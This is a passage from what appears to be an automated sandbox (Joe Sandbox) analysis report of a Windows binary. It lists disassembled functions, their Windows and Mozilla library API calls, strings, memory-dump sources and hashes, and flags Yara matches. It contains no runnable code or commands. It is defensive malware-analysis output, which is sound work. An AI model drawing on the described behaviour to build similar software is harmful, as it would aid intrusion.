_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C7E31A7), ref: 6C820627

Strings

<jemalloc>, xrefs: 6C8205FA, 6C82060F
: (malloc) Error in VirtualFree(), xrefs: 6C82061B, 6C820625

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 9319a9b45fcff5a67c7d156924ef468a5ec38d60c3f9fd7295cbfbbe0ad06eba
Instruction ID: 265fa24ad6cc0c32f7f0fc1acccae6c53698e8d3d13957d0029164820e5aa60d
Opcode Fuzzy Hash: 9319a9b45fcff5a67c7d156924ef468a5ec38d60c3f9fd7295cbfbbe0ad06eba
Instruction Fuzzy Hash: 9AE0E6E290111437F524625A7C46DF7765CDBC6578F040139FD0D43301E95AAD1E95F6

Function 6C7F05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d622313f5b027a551e4ac5afc78b62acf4299dc013378d79b625d4a8efc227c7
Instruction ID: 0630f88d55e2af88b4bb55ed5b254c44e0c31fb03ba3606ccc694faa574d0c80
Opcode Fuzzy Hash: d622313f5b027a551e4ac5afc78b62acf4299dc013378d79b625d4a8efc227c7
Instruction Fuzzy Hash: 83A14BB4A04645CFDB24CF29CA94B99FBF1BF49304F4486AED45997B01E730A945CFA0

Function 6C8414A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C8414C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C8414E2
GetCurrentThreadId.KERNEL32 ref: 6C841546
InitializeConditionVariable.KERNEL32(?), ref: 6C8415BA
free.MOZGLUE(?), ref: 6C8416B4

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: b403d5371ba4a7719de734cd73a620c3a2530a7851826b68ed141be49ee0b284
Instruction ID: 343160808cd38d1ba96e2d4f52be0d230d04516c8ad0d62941374bd2df53800a
Opcode Fuzzy Hash: b403d5371ba4a7719de734cd73a620c3a2530a7851826b68ed141be49ee0b284
Instruction Fuzzy Hash: 0461D171A007149BDB219F25C980BEEB7B4BF89308F45992CED8A57701EB31E958CBD1

Function 6C83DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C83DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C83D38A,?), ref: 6C83DC6F
free.MOZGLUE(?,?,?,?,?,6C83D38A,?), ref: 6C83DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C83D38A,?), ref: 6C83DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C83D38A,?), ref: 6C83DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C83D38A,?), ref: 6C83DD4A

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 794ffc598b68850f92f5f08033f59462caa7e6373604f13f0a8fb3843596303d
Instruction ID: d123efdc1df4c00873d15e2015105834b4d7e242a05b26ad6b8a631415f07f1d
Opcode Fuzzy Hash: 794ffc598b68850f92f5f08033f59462caa7e6373604f13f0a8fb3843596303d
Instruction Fuzzy Hash: 94416FB5A00615CFCB10CF99C9809AAB7F5FF88318B55696AD949A7B11D731FC01CBD0

Function 0041D181 Relevance: 9.1, APIs: 6, Instructions: 98COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 0041D18F

Part of subcall function 0041CD59: __mtinitlocknum.LIBCMT ref: 0041CD6F
Part of subcall function 0041CD59: __amsg_exit.LIBCMT ref: 0041CD7B
Part of subcall function 0041CD59: EnterCriticalSection.KERNEL32(00000000,00000000,?,0041D94E,0000000D,?,?,0041D119,0041CAE1,?,?,0041C739,00000000,00426F60,0041C780,?), ref: 0041CD83

DecodePointer.KERNEL32(00426E40,00000020,0041D2D2,00000000,00000001,00000000,?,0041D2F4,000000FF,?,0041CD80,00000011,00000000,?,0041D94E,0000000D), ref: 0041D1CB
DecodePointer.KERNEL32(?,0041D2F4,000000FF,?,0041CD80,00000011,00000000,?,0041D94E,0000000D,?,?,0041D119,0041CAE1), ref: 0041D1DC

Part of subcall function 0041D8C7: EncodePointer.KERNEL32(00000000,0041DE41,0063BAE0,00000314,00000000,?,?,?,?,?,0041D4E9,0063BAE0,Microsoft Visual C++ Runtime Library,00012010), ref: 0041D8C9

DecodePointer.KERNEL32(-00000004,?,0041D2F4,000000FF,?,0041CD80,00000011,00000000,?,0041D94E,0000000D,?,?,0041D119,0041CAE1), ref: 0041D202
DecodePointer.KERNEL32(?,0041D2F4,000000FF,?,0041CD80,00000011,00000000,?,0041D94E,0000000D,?,?,0041D119,0041CAE1), ref: 0041D215
DecodePointer.KERNEL32(?,0041D2F4,000000FF,?,0041CD80,00000011,00000000,?,0041D94E,0000000D,?,?,0041D119,0041CAE1), ref: 0041D21F

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Pointer$Decode$CriticalEncodeEnterSection__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2005412495-0
Opcode ID: a799cbc27f83cb921a7de55f2101cbdabde89e8b625b06f17bd24743c2b7ff6d
Instruction ID: dfcd5aaae1d9ebdb419f6910a8c8580cf79f448e154afed30d395645a770f925
Opcode Fuzzy Hash: a799cbc27f83cb921a7de55f2101cbdabde89e8b625b06f17bd24743c2b7ff6d
Instruction Fuzzy Hash: DE3137B0E00319DBDF50AFA5E9856DDBBF1BF49324F10516BE420A6291CBB88885CF59

Function 6C826590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C81FA80: GetCurrentThreadId.KERNEL32 ref: 6C81FA8D
Part of subcall function 6C81FA80: AcquireSRWLockExclusive.KERNEL32(6C86F448), ref: 6C81FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C826727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C8267C8

Part of subcall function 6C834290: memcpy.VCRUNTIME140(?,?,6C842003,6C840AD9,?,6C840AD9,00000000,?,6C840AD9,?,00000004,?,6C841A62,?,6C842003,?), ref: 6C8342C4

Strings

data, xrefs: 6C826593

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: cb9e50694643295c2278ebc98278ceecffff76bc59e343cf2f6c6b57233e6dbf
Instruction ID: b31f6fb26c7984396960be0f051e390c1127c2e583453e3321ca13ac3a2c9854
Opcode Fuzzy Hash: cb9e50694643295c2278ebc98278ceecffff76bc59e343cf2f6c6b57233e6dbf
Instruction Fuzzy Hash: 07D19E75A083408FD734CF29CA44B9EB7E5AFC5308F508D2ED48987B91DB74A949CB92

Function 0041E79C Relevance: 9.0, APIs: 6, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041E7A8

Part of subcall function 0041DA31: __getptd_noexit.LIBCMT ref: 0041DA34
Part of subcall function 0041DA31: __amsg_exit.LIBCMT ref: 0041DA41

__amsg_exit.LIBCMT ref: 0041E7C8
__lock.LIBCMT ref: 0041E7D8
InterlockedDecrement.KERNEL32(?), ref: 0041E7F5
_free.LIBCMT ref: 0041E808
InterlockedIncrement.KERNEL32(00429F98), ref: 0041E820

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock_free
String ID:
API String ID: 3470314060-0
Opcode ID: bbc59903f0445f5f396bc6bf4fc9027239fbb8c0b0822da16c30a9863411b8f9
Instruction ID: 0470377d68b9b61b60459286c42999855815945a05d59f5f1c62335f91b0b2ef
Opcode Fuzzy Hash: bbc59903f0445f5f396bc6bf4fc9027239fbb8c0b0822da16c30a9863411b8f9
Instruction Fuzzy Hash: F6018E39A416119BEB21AB66A8457DE7761BF01714F51002BFC10A76D1C73CA8D2CBDE

Function 00410F20 Relevance: 9.0, APIs: 4, Strings: 2, Instructions: 43stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(024BFC40,?,00000104,?,?,004120EF,?,024BFC40,00000000), ref: 00410F2D
lstrcpyn.KERNEL32(0063AE18,024BFC40,00000000,00000000,?,004120EF,?,024BFC40,00000000), ref: 00410F4B
lstrlenA.KERNEL32(?,?,004120EF,?,024BFC40,00000000), ref: 00410F5E
wsprintfA.USER32 ref: 00410F71

Strings

A, xrefs: 00410F64, 00410F6A
%s%s, xrefs: 00410F6B

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s$ A
API String ID: 1206339513-3317139571
Opcode ID: 7bbda796e9aacf187ed79b9358b261bf02c0bb85f52db1590dabe0ff9711f630
Instruction ID: 83def55e3031a7cdf2ff4722240acaf5b7e213c0ec4a59d881f59663b9fbadad
Opcode Fuzzy Hash: 7bbda796e9aacf187ed79b9358b261bf02c0bb85f52db1590dabe0ff9711f630
Instruction Fuzzy Hash: F9F062732041186FDB104F5CEC49DA7BBAEEFC5369B005116FA5887301C7749C5187E5

Function 0040D9C0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0040D9DA

Part of subcall function 0041F6E0: std::exception::exception.LIBCMT ref: 0041F6F5
Part of subcall function 0041F6E0: __CxxThrowException@8.LIBCMT ref: 0041F70A
Part of subcall function 0041F6E0: std::exception::exception.LIBCMT ref: 0041F71B

std::_Xinvalid_argument.LIBCPMT ref: 0040DA17

Part of subcall function 0041F693: std::exception::exception.LIBCMT ref: 0041F6A8
Part of subcall function 0041F693: __CxxThrowException@8.LIBCMT ref: 0041F6BD
Part of subcall function 0041F693: std::exception::exception.LIBCMT ref: 0041F6CE

memcpy.MSVCRT ref: 0040DA78

Strings

string too long, xrefs: 0040DA12
invalid string position, xrefs: 0040D9D5

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argumentstd::_$memcpy
String ID: invalid string position$string too long
API String ID: 85833692-4289949731
Opcode ID: 280ba85d83108718e406e8873be15048bdbeccc03f6505bf02369f33fb2012b8
Instruction ID: 164c5298db5689911093d1d1b38bb13fffb150075533519eecd22ef414254bd8
Opcode Fuzzy Hash: 280ba85d83108718e406e8873be15048bdbeccc03f6505bf02369f33fb2012b8
Instruction Fuzzy Hash: D331B1337042109BC7209E9CEC81B6AF7A9EBA2765B20093FF141DB2D1D6799C4587A9

Function 6C81F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C81F480

Part of subcall function 6C7EF100: LoadLibraryW.KERNEL32(shell32,?,6C85D020), ref: 6C7EF122
Part of subcall function 6C7EF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C7EF132

CloseHandle.KERNEL32(00000000), ref: 6C81F555

Part of subcall function 6C7F14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C7F1248,6C7F1248,?), ref: 6C7F14C9
Part of subcall function 6C7F14B0: memcpy.VCRUNTIME140(?,6C7F1248,00000000,?,6C7F1248,?), ref: 6C7F14EF

Part of subcall function 6C7EEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C7EEEE3

CreateFileW.KERNEL32 ref: 6C81F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C81F523

Strings

\oleacc.dll, xrefs: 6C81F4CB

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 35844bd5381af77faffeb2f76aeb9516e53ec018dea05dd1e151743e28a03b1f
Instruction ID: 1c2f56169a8a426995c009a20bd1bcd735b730de7626fe4098a33afcf66062b1
Opcode Fuzzy Hash: 35844bd5381af77faffeb2f76aeb9516e53ec018dea05dd1e151743e28a03b1f
Instruction Fuzzy Hash: 21418E706087119FE730DF69CA84AEAB7F4BF94318F500E28F59583A50EB70D949CB92

Function 6C8474A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C847526
__Init_thread_footer.LIBCMT ref: 6C847566
__Init_thread_footer.LIBCMT ref: 6C847597

Strings

UnmapViewOfFile2, xrefs: 6C847552
kernel32.dll, xrefs: 6C847557

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: e0b8cdeabc52b2b4a61933f526e7090e6d2853cc1449526ee0f10b44c302b4f3
Instruction ID: f3b1f578270ba5e67e98c96412eef33f4cf2c88d576026297dfe96623972c5e2
Opcode Fuzzy Hash: e0b8cdeabc52b2b4a61933f526e7090e6d2853cc1449526ee0f10b44c302b4f3
Instruction Fuzzy Hash: 7121F532704585ABCA348BAACB15FAA73B5FB97328B018D39E4058BF40D721E845C6D1

Function 00410F90 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 37fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(;RA,80000000,00000003,00000000,00000003,00000080,00000000,?,0041523B,00000000,?,004201E9), ref: 00410FAD
GetFileSizeEx.KERNEL32(00000000,?,?,004201E9), ref: 00410FBF
CloseHandle.KERNEL32(00000000,?,004201E9), ref: 00410FCA
CloseHandle.KERNEL32(00000000,?,004201E9), ref: 00410FD9

Strings

;RA, xrefs: 00410F93, 00410FAC

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: CloseFileHandle$CreateSize
String ID: ;RA
API String ID: 4148174661-1579785651
Opcode ID: ebe594edfc1aa5aa159d87a98d26c3f81ef968fe54443d87fe0bf508a6583566
Instruction ID: 13e16bb601681de9053df05aa3cfed9ca156e25fdc3222a912d74e9b6583d68a
Opcode Fuzzy Hash: ebe594edfc1aa5aa159d87a98d26c3f81ef968fe54443d87fe0bf508a6583566
Instruction Fuzzy Hash: A3F0E935A40218BBD720DBA8EC0BFDA776DEB09711F001245FE04B32D0E7B06A4147E4

Function 6C84C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C84C0E9), ref: 6C84C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C84C437
FreeLibrary.KERNEL32(?,6C84C0E9), ref: 6C84C44C

Strings

ntdll.dll, xrefs: 6C84C413
NtQueryVirtualMemory, xrefs: 6C84C431

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 9f10009c726e832e88887b45fb10642f17533166d9889dfa95dbfeecdcfcb81e
Instruction ID: c00d052fc569315dc3578efbb8ec5d2e8481918d08f337a733bc4039ac8c17d7
Opcode Fuzzy Hash: 9f10009c726e832e88887b45fb10642f17533166d9889dfa95dbfeecdcfcb81e
Instruction Fuzzy Hash: 7EE092706013159BDB306B738B18B3A7BF8B7A620CF00B976AB0492701EBB1D004DA90

Function 6C8475B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C84748B,?), ref: 6C8475B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C8475D7
FreeLibrary.KERNEL32(?,6C84748B,?), ref: 6C8475EC

Strings

ntdll.dll, xrefs: 6C8475B3
RtlNtStatusToDosError, xrefs: 6C8475D1

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 28911f1ae4ad2c8c64fbb098f36c7b9003a1499998cb9e3bee3fd3d95033c461
Instruction ID: a5c9b7a515f6e34f2d0db95056ff963632da43ab86d7e0c1060c224e1b52af2a
Opcode Fuzzy Hash: 28911f1ae4ad2c8c64fbb098f36c7b9003a1499998cb9e3bee3fd3d95033c461
Instruction Fuzzy Hash: D6E09A72604345ABDB305BA3C948735BAF8E75721DF10A435E905D5600EB70D045DF94

Function 004092D0 Relevance: 7.8, APIs: 5, Instructions: 295filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0040F810: lstrcpyA.KERNEL32(00000000,0041760D,0041760D,004201E9), ref: 0040F839

Part of subcall function 00410B80: GetSystemTime.KERNEL32(004201E9,02498710,004201E9,?,00000030,004201E9,004201E9,?,00000000,?,?,004176BE), ref: 00410BA9

Part of subcall function 0040F9A0: lstrlenA.KERNEL32(?,?,?,?,?,00417633,?,02494B80,?,00423414,?,00000000,004201E9), ref: 0040F9B9
